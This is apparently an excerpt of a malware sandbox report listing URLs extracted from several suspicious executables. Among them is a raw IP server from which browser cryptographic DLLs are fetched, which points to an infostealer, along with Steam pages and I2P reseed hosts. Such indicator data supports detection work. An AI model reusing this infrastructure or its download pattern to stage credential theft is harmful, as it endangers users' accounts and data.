Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.00000000044A4000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.00000000044A2000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.23.dr	String found in binary or memory: http://stats.i2p/cgi-bin/newhosts.txt
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: Amcache.hve.13.dr	String found in binary or memory: http://upx.sf.net
Source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502822954.000000001B566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2395414511.000000001B56D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2768266325.000000001B807000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2767527727.00000000191FD000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://5.75.212.60
Source: file.exe, 00000000.00000003.2269115043.00000000024FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2361797117.000000001B53B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2395488232.000000001B541000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2395414511.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2373150785.000000001B560000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2373328753.000000001B536000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2373854371.000000001B562000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2374176714.000000001B564000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/
Source: file.exe, 00000000.00000003.2373328753.000000001B536000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/#
Source: file.exe, 00000000.00000003.2395488232.000000001B541000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2373328753.000000001B536000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60//
Source: file.exe, 00000000.00000003.2269115043.00000000024FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60//S
Source: file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/0
Source: file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/2
Source: file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/4
Source: file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/5
Source: file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/5.212.60/
Source: file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/5.212.60/nss3.dll
Source: file.exe, 00000000.00000003.2361797117.000000001B53B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/6
Source: file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/;
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/A
Source: file.exe, 00000000.00000003.2269115043.00000000024FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/B_F
Source: file.exe, 00000000.00000003.2373150785.000000001B560000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2373854371.000000001B562000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/EGIDHDHIDG
Source: file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/H
Source: file.exe, 00000000.00000003.2502799257.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2395414511.000000001B564000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2373150785.000000001B560000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2373854371.000000001B562000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2374176714.000000001B564000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/ata
Source: file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/e
Source: file.exe, 00000000.00000003.2395488232.000000001B541000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768054750.000000001B536000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/freebl3.dll
Source: file.exe, 00000000.00000003.2395488232.000000001B541000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/freebl3.dllE
Source: file.exe, 00000000.00000003.2395488232.000000001B541000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768054750.000000001B536000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/freebl3.dllh
Source: file.exe, 00000000.00000003.2395488232.000000001B541000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/freebl3.dlls
Source: file.exe, 00000000.00000003.2269115043.00000000024FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/licies
Source: file.exe, 00000000.00000002.2768054750.000000001B536000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/mozglue.dll
Source: file.exe, 00000000.00000002.2768054750.000000001B536000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/mozglue.dlls
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/msvcp140.dll
Source: file.exe, 00000000.00000002.2768054750.000000001B536000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/nss3.dll
Source: file.exe, 00000000.00000002.2768054750.000000001B536000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/nss3.dlle
Source: file.exe, 00000000.00000003.2269115043.00000000024FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/ows
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/softokn3.dll
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/softokn3.dllnXq
Source: file.exe, 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2762253914.00000000024F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/sqls.dll
Source: file.exe, 00000000.00000002.2768054750.000000001B4F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/vcruntime140.dll
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.212.60/vcruntime140.dll;
Source: file.exe, 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://5.75.212.60art/form-data;
Source: file.exe, 00000000.00000003.2362409222.000000001B585000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.000000000437F000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.000000000437D000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, main.exe, 00000017.00000002.3442752199.00007FFD940A4000.00000002.00000001.01000000.00000011.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, KXEmxT2p.23.dr	String found in binary or memory: https://banana.incognet.io/
Source: file.exe, 00000000.00000002.2767835795.0000000019760000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768175135.000000001B55F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2722820114.000000001B55F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2767835795.0000000019760000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768175135.000000001B55F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2722820114.000000001B55F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: file.exe, 00000000.00000003.2362409222.000000001B585000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2362409222.000000001B585000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2362409222.000000001B585000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=eZOyL2UG5OX8&a
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269115043.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269115043.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=3eYWCMu_
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269115043.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=e0OV
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&l=engl
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=54OKIvHlOQzF&l=e
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=_D2Bg4UEaFxK&l=en
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: file.exe, 00000000.00000002.2767835795.0000000019760000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768175135.000000001B55F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2722820114.000000001B55F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2767835795.0000000019760000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2768175135.000000001B55F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2722820114.000000001B55F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2362409222.000000001B585000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2362409222.000000001B585000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2362409222.000000001B585000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.2228501229.000000000252E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: file.exe, 00000000.00000003.2228501229.0000000002522000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269076483.0000000002529000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.000000000437F000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.000000000437D000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, main.exe, 00000017.00000002.3442752199.00007FFD940A4000.00000002.00000001.01000000.00000011.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp, KXEmxT2p.23.dr	String found in binary or memory: https://i2p.ghativega.in/
Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.00000000044A4000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.00000000044A2000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp, i2p.conf.23.dr	String found in binary or memory: https://i2p.mooo.com/netDb/
